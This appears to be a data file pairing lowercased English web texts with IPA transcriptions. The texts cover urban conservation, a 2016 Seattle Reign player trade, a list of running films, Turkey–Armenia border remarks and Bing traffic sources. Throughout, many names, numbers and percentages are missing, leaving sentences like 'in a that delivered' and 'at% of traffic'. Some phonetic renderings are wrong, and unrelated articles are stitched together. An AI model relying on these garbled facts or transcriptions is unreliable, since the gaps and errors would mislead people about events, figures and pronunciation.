ˌɪnsɪgnˈjɪfɪkənt, ðə ˈrisərʧərz noʊt, ənd ˈðɛrˌfɔr ˈpərˌmɪt dɪˈvɛləpmənt ðət ˈfərðər ɪˈroʊdz ˈhæbəˌtæt fər θˈrɛtənd ˈspiʃiz, bɪt baɪ ˈlɪtəl bɪt. soʊ ðə əˈsəmpʃən ðət ˈsɪtiz ˈmætər nɑt ˈoʊnli minz mɪst ˌɑpərˈtunətiz fər ˌkɑnsərˈveɪʃən, bət ˌpɛrəˈdɑksəkəli, kʊd ˌɪtˈsɛlf bi ə θrɛt tɪ ɪnˈdeɪnʤərd ˈspiʃiz sərˈvaɪvəl. ˈsɛrə ˈʤænjuˌɛri 5 2016 sɔrs: aɪvz c.d*. ɛt æl. ər fər θˈrɛtənd species.”*.” ˈgloʊbəl ɪˈkɑləʤi ənd dɔɪ: ˈhɛdər ˈɪmɪʤ: blæk ˈkɑkəˌtu latirostris*), ˈfoʊtəˌgræft ɪn ə ˈsəbərb əv pərθ, ɔˈstreɪljə. ðə ɪnˈdeɪnʤərd bərd rɪˈlaɪz ɔn ən ˌɪntrəˈdust paɪn ˌplænˈteɪʃən ɪn pərθ fər fud. ˈkrɛdɪt: rælf grin ˈviə ˈflɪkər. |
seattle, wa (club release) seattle reign announced today that the club has acquired u.s. national team (uswnt) defender meghan klingenberg from the houston dash. in exchange, reign traded the rights to amber brooks and the pick in the first round of the 2016 college draft to houston. in addition to klingenberg, seattle will also receive a conditional selection in the 2017 college draft.
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editor’s note: but is she staying? equalizer soccer says that klingenberg is actually on her way to portland thorns via seattle, as part of a complex ripple effect from the recent deal that sent alex morgan to the expansion orlando pride. read more about that here.
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klingenberg, 27, was selected by the houston dash in the 2014 expansion draft from the boston breakers. through two seasons with the dash, the gibsonia, pa. native appeared in 19 matches (all starts), tallying two assists in minutes.
prior to joining the, klingenberg spent two seasons with swedish club tyresö and also played with the boston breakers (wps), and (wps).
the defender played all four years of her college career at the university of north carolina at chapel hill, scoring 19 goals and tallying 24 assists. during that time, klingenberg lead the tar heels to two national championships.
klingenberg has amassed 45 caps with the, scoring three goals. in the 2015 world cup, klingenberg played every minute of every match, in a that delivered a shutout streak lasting 540 minutes en route to being crowned world champions. klingenberg had a standout performance against sweden during group play of the world cup, clearing a shot off the line to preserve the draw.
brooks, 24, was acquired by seattle from the western new york flash in march of 2015 in a trade that sent forward sydney leroux and defender amanda frisbie to rochester. as part of the trade, reign also received the pick in the 2016 college draft and the rights to forward abby wambach. brooks tallied one goal in 12 matches (4 starts) for seattle during its 2015 season. | siˈætəl, wɑ (kləb riˈlis) siˈætəl reɪn əˈnaʊnst təˈdeɪ ðət ðə kləb həz əkˈwaɪərd juz. ˈnæʃənəl tim (uswnt*) dɪˈfɛndər ˈmɛgən ˈklɪŋənbərg frəm ðə ˈhjustən dæʃ. ɪn ɪksˈʧeɪnʤ, reɪn ˈtreɪdɪd ðə raɪts tɪ ˈæmbər brʊks ənd ðə pɪk ɪn ðə fərst raʊnd əv ðə 2016 ˈkɑlɪʤ dræft tɪ ˈhjustən. ɪn əˈdɪʃən tɪ ˈklɪŋənbərg, siˈætəl wɪl ˈɔlsoʊ rɪˈsiv ə kənˈdɪʃənəl səˈlɛkʃən ɪn ðə 2017 ˈkɑlɪʤ dræft. (ˈkəvər ˈfoʊˌtoʊ: fɑks ˈsɑkər ˈjuˌtub) noʊt: bət ɪz ʃi steɪɪŋ? ˈikwəˌlaɪzər ˈsɑkər sɪz ðət ˈklɪŋənbərg ɪz ˈæˌkʧuəli ɔn hər weɪ tɪ ˈpɔrtlənd θɔrnz ˈviə siˈætəl, ɛz pɑrt əv ə ˈkɑmplɛks ˈrɪpəl ˈifɛkt frəm ðə ˈrisənt dil ðət sɛnt ˈæləks ˈmɔrgən tɪ ðə ɪkˈspænʧən ɔˈrlænˌdoʊ praɪd. rɛd mɔr əˈbaʊt ðət hir. ˈklɪŋənbərg, 27 wɑz səˈlɛktɪd baɪ ðə ˈhjustən dæʃ ɪn ðə 2014 ɪkˈspænʧən dræft frəm ðə ˈbɔstən ˈbreɪkərz. θru tu ˈsizənz wɪθ ðə dæʃ, ðə gibsonia*, pɑ. ˈneɪtɪv əˈpɪrd ɪn 19 ˈmæʧɪz (ɔl stɑrts), ˈtæliɪŋ tu əˈsɪsts ɪn ˈmɪnəts. praɪər tɪ ˈʤɔɪnɪŋ ðə, ˈklɪŋənbərg spɛnt tu ˈsizənz wɪθ sˈwidɪʃ kləb tyresö*ö ənd ˈɔlsoʊ pleɪd wɪθ ðə ˈbɔstən ˈbreɪkərz (wps*), ənd (wps*). ðə dɪˈfɛndər pleɪd ɔl fɔr jɪrz əv hər ˈkɑlɪʤ kərɪr æt ðə ˌjunəˈvərsəti əv nɔrθ ˌkɛrəˈlaɪnə æt ˈʧæpəl hɪl, ˈskɔrɪŋ 19 goʊlz ənd ˈtæliɪŋ 24 əˈsɪsts. ˈdʊrɪŋ ðət taɪm, ˈklɪŋənbərg lɛd ðə tɑr hilz tɪ tu ˈnæʃənəl ˈʧæmpiənˌʃɪps. ˈklɪŋənbərg həz əˈmæst 45 kæps wɪθ ðə, ˈskɔrɪŋ θri goʊlz. ɪn ðə 2015 wərld kəp, ˈklɪŋənbərg pleɪd ˈɛvəri ˈmɪnət əv ˈɛvəri mæʧ, ɪn ə ðət dɪˈlɪvərd ə ˈʃəˌtaʊt strik ˈlæstɪŋ 540 ˈmɪnəts ɛn rut tɪ biɪŋ kraʊnd wərld ˈʧæmpiənz. ˈklɪŋənbərg hæd ə ˈstænˌdaʊt pərˈfɔrməns əˈgɛnst sˈwidən ˈdʊrɪŋ grup pleɪ əv ðə wərld kəp, ˈklɪrɪŋ ə ʃɑt ɔf ðə laɪn tɪ prɪˈzərv ðə drɔ. brʊks, 24 wɑz əkˈwaɪərd baɪ siˈætəl frəm ðə ˈwɛstərn nu jɔrk flæʃ ɪn mɑrʧ əv 2015 ɪn ə treɪd ðət sɛnt ˈfɔrwərd ˈsɪdni ləru ənd dɪˈfɛndər əˈmændə ˈfrɪsbi tɪ ˈrɑˌʧɛstər. ɛz pɑrt əv ðə treɪd, reɪn ˈɔlsoʊ rɪˈsivd ðə pɪk ɪn ðə 2016 ˈkɑlɪʤ dræft ənd ðə raɪts tɪ ˈfɔrwərd ˈæbi ˈwɔmbɑk. brʊks ˈtælid wən goʊl ɪn 12 ˈmæʧɪz 4 stɑrts) fər siˈætəl ˈdʊrɪŋ ɪts 2015 ˈsizən. |
from marathon man to forrest gump, we complete a circuit of the best films. what's your favourite? let us know below
since the moment captured a man sprinting in 1887 runners have worn a path across the cinematic landscape. whether on the pristine oval of an olympic running track, a dusty patch in a prison rec yard or the damp tarmac of a rural country road, film has documented the sweat and solitude of running in all its pain and glory.
here are 10 of the best.
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opening with the sound of tom feet against a bleak rural lane, tony richardson and alan 1962 british new wave classic is one of the most poetic running films in cinematic history. as colin smith, a petty delinquent, courtenay gives a compelling in this commentary on british society. after being sent to a reformatory for his part in a bakery robbery, smith turns to long-distance running to escape the drudgery of his confinement. his talent is spotted by the governor who offers the promise of early release if he runs for the reformatory in a race against a public school. in the final, stunning denouement, smith's freedom and independence are resolved by his race performance in the most unpredictable way.
marathon man
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"is it safe?" probably not when you have a nazi war criminal drilling holes in your teeth. dustin hoffman plays columbia grad student and running obsessive thomas "babe" levy, who is hounded by laurence sinister dr christian over a briefcase of missing diamonds. an early scene shows hoffmann pushing himself around central park. all that training and his ability to recall the feats of ethiopian olympic legend winning in rome and tokyo give him the endurance to escape his tormentors. director john schlesinger footage of a petrified, bloody hoffman with the placid from the tokyo olympiad official film to striking effect.
forrest gump
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after childhood sweetheart jenny curran (robin wright) leaves tom sweet forrest gump halfway through robert drama, he sets off on an epic run lasting three years, two months, 14 days, and 16 hours. more than your average sunday morning wheeze-fest. forrest finally stops running when, after covering miles, he has managed to "put his past behind him". the sequence manages to be beautiful and amusing in its exploration of the catharsis of running. anyone who fancies emulating forrest can do so with the help of the fastidious people at the economics blog who have created the ultimate style analysis of running route.
the robber
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german director benjamin film is based on real-life austrian and gifted marathon runner kastenberger. adapted from the novel by martin prinz, the quiet yet kinetic and visually elegant film mixes the getaways with races from his earlier life as a potential marathon runner. adrenaline and ecstasy at their best and worst are shown in this examination of a man who "only feels truly alive, truly himself, truly free when he is running". or stealing loads of cash from a viennese bank.
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these two of maverick american runner steve were released a year apart and there is little to separate the two. chinatown screenwriter robert without limits perhaps has the edge thanks to a glossier production, but steve "hoop dreams" james's film also has its merits. both deal with tactics, spectacular 1972 munich olympic disappointment and tragic, fatal car crash at 24. as a sideline, in without limits you can also witness the birth of nike through donald sutherland's portrayal of bill bowerman, oregon running coach and of the sportswear giant.
run run
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in perhaps the funniest take on the pain of long-distance running, david schwimmer casts boyish british everyman simon pegg as an affable loser who decides to run a marathon in an attempt to prove his worth to his newton. some of the biggest laughs come from the familiar pitfalls of the amateur blisters and hitting the wall.
on the edge
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showcasing some exemplary dialogue "i'm going to take your bloated carcass and teach you how to be a mountain racer!" this tale of running redemption casts bruce dern as an unfairly disgraced athlete attempting to reclaim the glory he was denied. at the ripe age of 44 he enters a fictional version of the race in marin county, a slog over hazardous mountain terrain. the sequences of the sinewy dern, a real life runner, padding along the glorious california coastline are a joy to behold.
the jericho mile
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an early breakthrough for michael mann, this movie features peter strauss as larry "rain" murphy, a loner sent to prison for murdering his abusive father. after the warden discovers his talent for running, he is given a chance to train for the olympic trials. multiple running scenes mixed with a real-life prison backdrop create an upbeat sports drama worthy of the accolades it received.
the athlete
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as well as inspiring dustin hoffman's getaway in the aforementioned marathon man, has his own movie. blending biopic, autobiography drama and documentary to create a portrait of the first african to win an olympic gold medal, the film features stunning through the abyssinian plateau. juxtaposing those olympic triumphs with the loss of's legs in a car accident adds power too.
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you didn't think we'd forget did you? despite the best efforts of mr bean, this british classic is still one of the most exciting running films ever made. charting the lives of british olympians eric liddell and harold abrahams in the lead up to their triumph at the 1924 paris olympics, chariots of fire is the recovery movie. and excessive slow motion. what more could you want?
and if that movie marathon doesn't tire you out you can put in some extra miles alongside younger incarnations of michael douglas in running and brad pitt in across the tracks
which running films or films with a great running scene have we missed? share your and take outraged issue with this selection below ...
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the links are powered by. by clicking on an affiliate link, you accept that cookies will be set. more information. | frəm ˈmɛrəˌθɑn mæn tɪ ˈfɔrəst gəmp, wi kəmˈplit ə ˈsərkət əv ðə bɛst fɪlmz. wəts jʊr ˈfeɪvərɪt? lɛt ˈjuˈɛs noʊ bɪˈloʊ sɪns ðə ˈmoʊmənt ˈkæpʧərd ə mæn ˈsprɪntɪŋ ɪn 1887 ˈrənərz hæv wɔrn ə pæθ əˈkrɔs ðə ˌsɪnəˈmætɪk ˈlænˌskeɪp. ˈwɛðər ɔn ðə ˈprɪstin ˈoʊvəl əv ən oʊˈlɪmpɪk ˈrənɪŋ træk, ə ˈdəsti pæʧ ɪn ə ˈprɪzən rɛk jɑrd ər ðə dæmp ˈtɑrˌmæk əv ə ˈrʊrəl ˈkəntri roʊd, fɪlm həz ˈdɑkjəˌmɛnəd ðə swɛt ənd ˈsɑləˌtud əv ˈrənɪŋ ɪn ɔl ɪts peɪn ənd ˈglɔri. hir ər 10 əv ðə bɛst. ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ˈoʊpənɪŋ wɪθ ðə saʊnd əv tɑm fit əˈgɛnst ə blik ˈrʊrəl leɪn, ˈtoʊni ˈrɪʧərdsən ənd ˈælən 1962 ˈbrɪtɪʃ nu weɪv ˈklæsɪk ɪz wən əv ðə moʊst poʊˈɛtɪk ˈrənɪŋ fɪlmz ɪn ˌsɪnəˈmætɪk ˈhɪstəri. ɛz ˈkoʊlɪn smɪθ, ə ˈpɛˌti dɪˈlɪŋkwənt, ˈkərtəneɪ gɪvz ə kəmˈpɛlɪŋ ɪn ðɪs ˈkɑmənˌtɛri ɔn ˈbrɪtɪʃ soʊˈsaɪɪti. ˈæftər biɪŋ sɛnt tɪ ə rɪˈfɔrməˌtɔri fər hɪz pɑrt ɪn ə ˈbeɪkəri ˈrɑbəri, smɪθ tərnz tɪ ˌlɔŋˈdistəns ˈrənɪŋ tɪ ɪˈskeɪp ðə ˈdrəʤəri əv hɪz kənˈfaɪnmənt. hɪz ˈtælənt ɪz ˈspɑtɪd baɪ ðə ˈgəvərnər hu ˈɔfərz ðə ˈprɑməs əv ˈərli riˈlis ɪf hi rənz fər ðə rɪˈfɔrməˌtɔri ɪn ə reɪs əˈgɛnst ə ˈpəblɪk skul. ɪn ðə ˈfaɪnəl, ˈstənɪŋ ˌdeɪˌnuˈmɑn, smɪθs ˈfridəm ənd ˌɪndɪˈpɛndəns ər riˈzɑlvd baɪ hɪz reɪs pərˈfɔrməns ɪn ðə moʊst ˌənprɪˈdɪktəbəl weɪ. ˈmɛrəˌθɑn mæn ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ "ɪz ɪt seɪf?" ˈprɑbəˌbli nɑt wɪn ju hæv ə ˈnɑtsi wɔr ˈkrɪmənəl ˈdrɪlɪŋ hoʊlz ɪn jʊr tiθ. ˈdəstɪn ˈhɔfmən pleɪz kəˈləmbiə græd ˈstudənt ənd ˈrənɪŋ əbˈsɛsɪv ˈtɑməs "beɪb" ˈlɛvi, hu ɪz ˈhaʊndɪd baɪ ˈlɔrəns ˈsɪnɪstər ˈdɑktər ˈkrɪsʧɪn ˈoʊvər ə ˈbrifˌkeɪs əv ˈmɪsɪŋ ˈdaɪməndz. ən ˈərli sin ʃoʊz ˈhɔfmən ˈpʊʃɪŋ hɪmˈsɛlf əraʊnd ˈsɛntrəl pɑrk. ɔl ðət ˈtreɪnɪŋ ənd hɪz əˈbɪləˌti tɪ ˈriˌkɔl ðə fits əv ˌiθiˈoʊpiən oʊˈlɪmpɪk ˈlɛʤənd ˈwɪnɪŋ ɪn roʊm ənd ˈtoʊkiˌoʊ gɪv ɪm ðə ˈɛndərəns tɪ ɪˈskeɪp hɪz ˈtɔrˌmɛntərz. dɪˈrɛktər ʤɑn ʃˈlɛsɪnʤər ˈfʊtɪʤ əv ə ˈpɛtrəˌfaɪd, ˈblədi ˈhɔfmən wɪθ ðə ˈplæsɪd frəm ðə ˈtoʊkiˌoʊ oʊˈlɪmpiˌæd əˈfɪʃəl fɪlm tɪ ˈstraɪkɪŋ ˈifɛkt. ˈfɔrəst gəmp ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ˈæftər ˈʧaɪlˌdhʊd sˈwiˌthɑrt ˈʤɛni kərən (ˈrɑbɪn raɪt) livz tɑm swit ˈfɔrəst gəmp ˈhæfˈweɪ θru ˈrɑbərt ˈdrɑmə, hi sɛts ɔf ɔn ən ˈɛpɪk rən ˈlæstɪŋ θri jɪrz, tu mənθs, 14 deɪz, ənd 16 aʊərz. mɔr ðən jʊr ˈævərɪʤ ˈsənˌdi ˈmɔrnɪŋ wheeze-fest*. ˈfɔrəst ˈfaɪnəli stɑps ˈrənɪŋ wɪn, ˈæftər ˈkəvərɪŋ maɪəlz, hi həz ˈmænɪʤd tɪ "pʊt hɪz pæst bɪˈhaɪnd ɪm". ðə ˈsikwəns ˈmænɪʤɪz tɪ bi ˈbjutəfəl ənd əmˈjuzɪŋ ɪn ɪts ˌɛksplərˈeɪʃən əv ðə kəˈθɑrsəs əv ˈrənɪŋ. ˈɛniˌwən hu ˈfænsiz ˈɛmjəˌleɪtɪŋ ˈfɔrəst kən du soʊ wɪθ ðə hɛlp əv ðə fæˈstɪdiəs ˈpipəl æt ðə ˌɛkəˈnɑmɪks blɔg hu hæv kriˈeɪtɪd ðə ˈəltəmət staɪl æˈnælɪsɪs əv ˈrənɪŋ rut. ðə ˈrɑbər ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ˈʤərmən dɪˈrɛktər ˈbɛnʤəmən fɪlm ɪz beɪst ɔn ˈriˌllaɪf ˈɔstriən ənd ˈgɪftɪd ˈmɛrəˌθɑn ˈrənər kastenberger*. əˈdæptɪd frəm ðə ˈnɑvəl baɪ ˈmɑrtɪn prɪnz, ðə kwaɪət jɛt kɪˈnɛtɪk ənd ˈvɪʒwəli ˈɛləgənt fɪlm ˈmɪksɪz ðə ˈgɛtəˌweɪz wɪθ ˈreɪsɪz frəm hɪz ˈərliər laɪf ɛz ə pəˈtɛnʃəl ˈmɛrəˌθɑn ˈrənər. əˈdrɛnələn ənd ˈɛkstəsi æt ðɛr bɛst ənd wərst ər ʃoʊn ɪn ðɪs ɪgˌzæməˈneɪʃən əv ə mæn hu "ˈoʊnli filz ˈtruli əˈlaɪv, ˈtruli hɪmˈsɛlf, ˈtruli fri wɪn hi ɪz ˈrənɪŋ". ər ˈstilɪŋ loʊdz əv kæʃ frəm ə viˈɛˌnis bæŋk. ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ðiz tu əv ˈmævərɪk əˈmɛrɪkən ˈrənər stiv wər riˈlist ə jɪr əˈpɑrt ənd ðɛr ɪz ˈlɪtəl tɪ ˈsɛpərˌeɪt ðə tu. ˈʧaɪnəˌtaʊn ˈskrinˌraɪtər ˈrɑbərt wɪˈθaʊt ˈlɪmɪts pərˈhæps həz ðə ɛʤ θæŋks tɪ ə ˈglɔsiər pərˈdəkʃən, bət stiv "hup drimz" ˈʤeɪmzɪz fɪlm ˈɔlsoʊ həz ɪts ˈmɛrɪts. boʊθ dil wɪθ ˈtæktɪks, spɛkˈtækjələr 1972 mˈjunɪk oʊˈlɪmpɪk ˌdɪsəˈpɔɪntmənt ənd ˈtræʤɪk, ˈfeɪtəl kɑr kræʃ æt 24 ɛz ə ˈsaɪˌdlaɪn, ɪn wɪˈθaʊt ˈlɪmɪts ju kən ˈɔlsoʊ ˈwɪtnəs ðə bərθ əv ˈnaɪki θru ˈdɑnəld ˈsəðərləndz pɔrˈtreɪəl əv bɪl ˈboʊərmən, ˈɔrəˌgɑn ˈrənɪŋ koʊʧ ənd əv ðə ˈspɔrtsˌwɛr ʤaɪənt. rən rən ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ɪn pərˈhæps ðə ˈfəniəst teɪk ɔn ðə peɪn əv ˌlɔŋˈdistəns ˈrənɪŋ, ˈdeɪvɪd ʃˈwɪmər kæsts bɔɪɪʃ ˈbrɪtɪʃ ˈɛvrimən ˈsaɪmən pɛg ɛz ən ˈæfəbəl ˈluzər hu ˌdɪˈsaɪdz tɪ rən ə ˈmɛrəˌθɑn ɪn ən əˈtɛmpt tɪ pruv hɪz wərθ tɪ hɪz ˈnutən. səm əv ðə ˈbɪgəst læfs kəm frəm ðə fəˈmɪljər ˈpɪtˌfɔlz əv ðə ˈæməˌʧər ˈblɪstərz ənd ˈhɪtɪŋ ðə wɔl. ɔn ðə ɛʤ ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ˈʃoʊkeɪsɪŋ səm ɪgˈzɛmpləri ˈdaɪəˌlɔg "əm goʊɪŋ tɪ teɪk jʊr ˈbloʊtɪd ˈkɑrkəs ənd tiʧ ju haʊ tɪ bi ə ˈmaʊntən ˈreɪsər!" ðɪs teɪl əv ˈrənɪŋ rɪˈdɛmʃən kæsts brus dərn ɛz ən ənˈfɛrli dɪsˈgreɪst ˈæθˌlit əˈtɛmptɪŋ tɪ riˈkleɪm ðə ˈglɔri hi wɑz dɪˈnaɪd. æt ðə raɪp eɪʤ əv 44 hi ˈɛnərz ə ˈfɪkʃənəl ˈvərʒən əv ðə reɪs ɪn ˈmɛrɪn ˈkaʊnti, ə slɑg ˈoʊvər ˈhæzərdəs ˈmaʊntən təreɪn. ðə ˈsikwənsɪz əv ðə ˈsɪnjui dərn, ə ril laɪf ˈrənər, ˈpædɪŋ əˈlɔŋ ðə ˈglɔriəs ˌkæləˈfɔrnjə ˈkoʊˌstlaɪn ər ə ʤɔɪ tɪ bɪˈhoʊld. ðə ˈʤɛrɪˌkoʊ maɪl ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ən ˈərli ˈbreɪkθˌru fər ˈmaɪkəl mæn, ðɪs ˈmuvi ˈfiʧərz ˈpitər straʊs ɛz ˈlɛri "reɪn" ˈmərfi, ə ˈloʊnər sɛnt tɪ ˈprɪzən fər ˈmərdərɪŋ hɪz əˈbjusɪv ˈfɑðər. ˈæftər ðə ˈwɔrdən dɪˈskəvərz hɪz ˈtælənt fər ˈrənɪŋ, hi ɪz ˈgɪvɪn ə ʧæns tɪ treɪn fər ðə oʊˈlɪmpɪk traɪəlz. ˈməltəpəl ˈrənɪŋ sinz mɪkst wɪθ ə ˈriˌllaɪf ˈprɪzən ˈbækˌdrɑp kriˈeɪt ən ˈəpˌbit spɔrts ˈdrɑmə ˈwərði əv ðə ˈækəˌleɪdz ɪt rɪˈsivd. ðə ˈæθˌlit ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ɛz wɛl ɛz ˌɪnˈspaɪərɪŋ ˈdəstɪn ˈhɔfmənz ˈgɛtəˌweɪ ɪn ðə əˈfɔrˌmɛnʃənd ˈmɛrəˌθɑn mæn, həz hɪz oʊn ˈmuvi. ˈblɛndɪŋ biopic*, ˌɔtəbaɪˈɑgrəfi ˈdrɑmə ənd ˌdɑkjəˈmɛnəri tɪ kriˈeɪt ə ˈpɔrtrət əv ðə fərst ˈæfrɪkɑn tɪ wɪn ən oʊˈlɪmpɪk goʊld ˈmɛdəl, ðə fɪlm ˈfiʧərz ˈstənɪŋ θru ðə æbˈsɪˌniən plæˈtoʊ. ˌʤəkstəˈpoʊzɪŋ ðoʊz oʊˈlɪmpɪk traɪəmfs wɪθ ðə lɔs əv lɛgz ɪn ə kɑr ˈæksədənt ædz paʊər tu. ˈrɛdɪŋ ðɪs ɔn ˈmoʊbəl? klɪk hir tɪ vju ðə ˈvɪdioʊ ju ˈdɪdənt θɪŋk wid fərˈgɛt dɪd ju? dɪˈspaɪt ðə bɛst ˈɛfərts əv ˈmɪstər bin, ðɪs ˈbrɪtɪʃ ˈklæsɪk ɪz stɪl wən əv ðə moʊst ɪkˈsaɪtɪŋ ˈrənɪŋ fɪlmz ˈɛvər meɪd. ˈʧɑrtɪŋ ðə lɪvz əv ˈbrɪtɪʃ oʊˈlɪmpiənz ˈɛrɪk ˈlɪdəl ənd ˈhɛrəld ˈeɪbrəˌhæmz ɪn ðə lɛd əp tɪ ðɛr traɪəmf æt ðə 1924 ˈpɛrɪs oʊˈlɪmpɪks, ˈʧɛriəts əv faɪər ɪz ðə rɪˈkəvəri ˈmuvi. ənd ɪkˈsɛsɪv sloʊ ˈmoʊʃən. wət mɔr kʊd ju wɔnt? ənd ɪf ðət ˈmuvi ˈmɛrəˌθɑn ˈdəzənt taɪər ju aʊt ju kən pʊt ɪn səm ˈɛkstrə maɪəlz əˈlɔŋˈsaɪd ˈjəŋgər ˌɪnkɑrˈneɪʃənz əv ˈmaɪkəl ˈdəgləs ɪn ˈrənɪŋ ənd bræd pɪt ɪn əˈkrɔs ðə træks wɪʧ ˈrənɪŋ fɪlmz ər fɪlmz wɪθ ə greɪt ˈrənɪŋ sin hæv wi mɪst? ʃɛr jʊr ənd teɪk ˈaʊˌtreɪʤd ˈɪʃu wɪθ ðɪs səˈlɛkʃən bɪˈloʊ ðɪs ˈɑrtɪkəl kənˈteɪnz əˈfɪliˌeɪt lɪŋks, wɪʧ minz wi meɪ ərn ə smɔl kəˈmɪʃən ɪf ə ˈridər klɪks θru ənd meɪks ə ˈpərʧəs. ɔl ɑr ˈʤərnəˌlɪzəm ɪz ˌɪndɪˈpɛndənt ənd ɪz ɪn noʊ weɪ ˈɪnfluənst baɪ ˈɛni ˈædvərˌtaɪzər ər kəˈmərʃəl ˌɪˈnɪʃətɪv. ðə lɪŋks ər paʊərd baɪ. baɪ ˈklɪkɪŋ ɔn ən əˈfɪliˌeɪt lɪŋk, ju əkˈsɛpt ðət ˈkʊkiz wɪl bi sɛt. mɔr ˌɪnˌfɔrˈmeɪʃən. |
yerevan prime minister said his government would open the sealed border with armenia on condition that armenia returns at least one of several regions surrounding to azerbaijan, reported citing ria novosti.
“if armenians withdrew from at least one district, the border could be opened,” said at a meeting with the leaders of and non-governmental organizations in ankara, according to haber turk tv.
the statement is a first, considering that preconditions for normalizing relations with armenia have, up to this point, demanded that armenia relinquish all seven regions surrounding artsakh.
he added that armenians living in turkey are part of the country and should not suffer because of the strained relations between ankara and yerevan. “the armenian diaspora is not an enemy to us, it is our diaspora,” he said.
turkey and armenia have no diplomatic relations. turkey closed its border with armenia in 1993 in a show of support for its ally, azerbaijan, when war broke out over.
there are several issues complicating the establishment of normal relations between the two countries, particularly, blatant support for azerbaijan in the conflict resolution process and refusal to acknowledge the mass slaughter of armenians in the last years of the ottoman empire as genocide. | ˈjɛrəvən praɪm ˈmɪnɪstər sɛd hɪz ˈgəvərnmənt wʊd ˈoʊpən ðə sild ˈbɔrdər wɪθ ɑrˈminiə ɔn kənˈdɪʃən ðət ɑrˈminiə rɪˈtərnz æt list wən əv ˈsɛvərəl ˈriʤənz sərˈaʊndɪŋ tɪ ˌɑzərbaɪˈʤɑn, ˌriˈpɔrtəd ˈsaɪtɪŋ ˈriə noʊˈvɔsti. ɑrˈminiənz wɪθˈdru frəm æt list wən ˈdɪstrɪkt, ðə ˈbɔrdər kʊd bi opened,”*,” sɛd æt ə ˈmitɪŋ wɪθ ðə ˈlidərz əv ənd nɑnˌgəvərnˈmɛntəl ˌɔrgənəˈzeɪʃənz ɪn ˈæŋkərə, əˈkɔrdɪŋ tɪ ˈheɪbər tərk ˌtɛləˈvɪʒən. ðə ˈsteɪtmənt ɪz ə fərst, kənˈsɪdərɪŋ ðət ˌprikənˈdɪʃənz fər ˈnɔrməˌlaɪzɪŋ riˈleɪʃənz wɪθ ɑrˈminiə hæv, əp tɪ ðɪs pɔɪnt, dɪˈmændɪd ðət ɑrˈminiə rɪˈlɪŋkwɪʃ ɔl ˈsɛvən ˈriʤənz sərˈaʊndɪŋ artsakh*. hi ˈædɪd ðət ɑrˈminiənz ˈlɪvɪŋ ɪn ˈtərki ər pɑrt əv ðə ˈkəntri ənd ʃʊd nɑt ˈsəfər bɪˈkəz əv ðə streɪnd riˈleɪʃənz bɪtˈwin ˈæŋkərə ənd ˈjɛrəvən. ɑrˈminiən daɪˈæspərə ɪz nɑt ən ˈɛnəmi tɪ ˈjuˈɛs, ɪt ɪz ɑr diaspora,”*,” hi sɛd. ˈtərki ənd ɑrˈminiə hæv noʊ ˌdɪpləˈmætɪk riˈleɪʃənz. ˈtərki kloʊzd ɪts ˈbɔrdər wɪθ ɑrˈminiə ɪn 1993 ɪn ə ʃoʊ əv səˈpɔrt fər ɪts ˈælaɪ, ˌɑzərbaɪˈʤɑn, wɪn wɔr broʊk aʊt ˈoʊvər. ðɛr ər ˈsɛvərəl ˈɪʃuz ˈkɑmpləˌkeɪtɪŋ ðə ɪˈstæblɪʃmənt əv ˈnɔrməl riˈleɪʃənz bɪtˈwin ðə tu ˈkəntriz, ˌpɑrˈtɪkjələrli, ˈbleɪtənt səˈpɔrt fər ˌɑzərbaɪˈʤɑn ɪn ðə ˈkɑnflɪkt ˌrɛzəˈluʃən ˈprɔˌsɛs ənd rɪfˈjuzəl tɪ ækˈnɑlɪʤ ðə mæs sˈlɔtər əv ɑrˈminiənz ɪn ðə læst jɪrz əv ðə ˈɑtəmən ˈɛmpaɪər ɛz ˈʤɛnəˌsaɪd. |
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what sites send bing the most traffic? a surprise. according to, google is fourth largest referring source.
below are the top five sites that drive traffic to bing, or “upstream” to bing, as calls it:
msn is by far the top source, the last site visited by% of bing users before they went to bing. not surprising. portal has long been a huge search driver for microsoft. in fact, the company recently said that half of all bing queries come from.
bing is also the default web search engine for facebook, so facebook makes sense as the number two referrer, at% of traffic.
windows live mail another microsoft property that ties into bing search so another one that makes sense logically. at% of traffic.
but google as the fourth largest referring source, at%? google, which competes against bing? that happening? probably two ways.
first, bing buys ads on google, like this:
you can find bing ads showing up on searches at google for bing, cashback, search engines, flight comparison and image search, to name some examples. interestingly, bing appear to be buying ads against its tagline, that it is a decision engine.
bing also does a lot of tv advertising. tv ads are known to drive search queries. so a good chance that when someone sees a bing ad, they decide to google bing and discover what just seen!
all this also applies to yahoo, which drives% of traffic. bing advertises there, and tv ads probably generate queries on yahoo for bing, as well.
it’s clear people do search for bing by name on google. using google trends, we can see the growth of this over the last year. the search volume of those seeking bing on google:
still, nothing compared to the number of searches that happen for yahoo on google. the bing chart again, this time with searches for yahoo on google added in:
